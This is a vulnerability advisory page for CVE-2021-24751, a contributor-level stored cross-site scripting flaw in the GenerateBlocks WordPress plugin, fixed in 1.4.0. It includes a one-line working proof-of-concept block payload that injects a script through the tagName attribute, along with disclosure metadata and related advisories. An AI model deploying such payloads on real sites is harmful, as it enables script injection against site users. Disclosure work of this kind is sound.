GenerateBlocks < 1.4.0 – Contributor+ Stored Cross-Site Scripting | CVE 2021-24751 | Plugin Vulnerabilities

Description

The plugin does not validate the generateblocks/container block's tagName attribute, which could allow users with a role as low as contributor to perform Cross-Site Scripting attacks.

Proof of Concept

Add the following code in a post/page while in code editor mode with an Contributor account: <!-- wp:generateblocks/container {"uniqueId":"98c07d5a","tagName":"script src=data:application/javascript,alert(/XSS/)","isDynamic":true} /-->

Then view/preview the page/post to trigger the XSS

Affects Plugins

Fixed in 1.4.0

References

CVE

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CVSS

Miscellaneous

Original Researcher

apple502j

Submitter

apple502j

Verified

Yes

WPVDB ID

e0131980-d2d3-4780-8a68-a81ee8c90b7a

Timeline

Publicly Published

2021-11-01 (about 4 years ago)

Added

2021-11-01 (about 4 years ago)

Last Updated

2022-04-09 (about 3 years ago)

Other

Published

Title

Published

2024-07-05

Title

CopySafe Web Protection < 3.15 - Authenticated (Contributor+) Stored Cross-Site Scripting

Published

2025-02-23

Title

Zigaform – Price Calculator & Cost Estimation Form Builder Lite < 7.4.3 - Unauthenticated Stored Cross-Site Scripting

Published

2022-09-15

Title

CPO Shortcodes <= 1.5.0 - Admin+ Stored XSS

Published

2024-12-11

Title

SMSify < 6.1.0 - Reflected Cross-Site Scripting

Published

2024-03-28

Title

Web Icons < 1.0.0.11 - Authenticated (Contributor+) Stored Cross-Site Scripting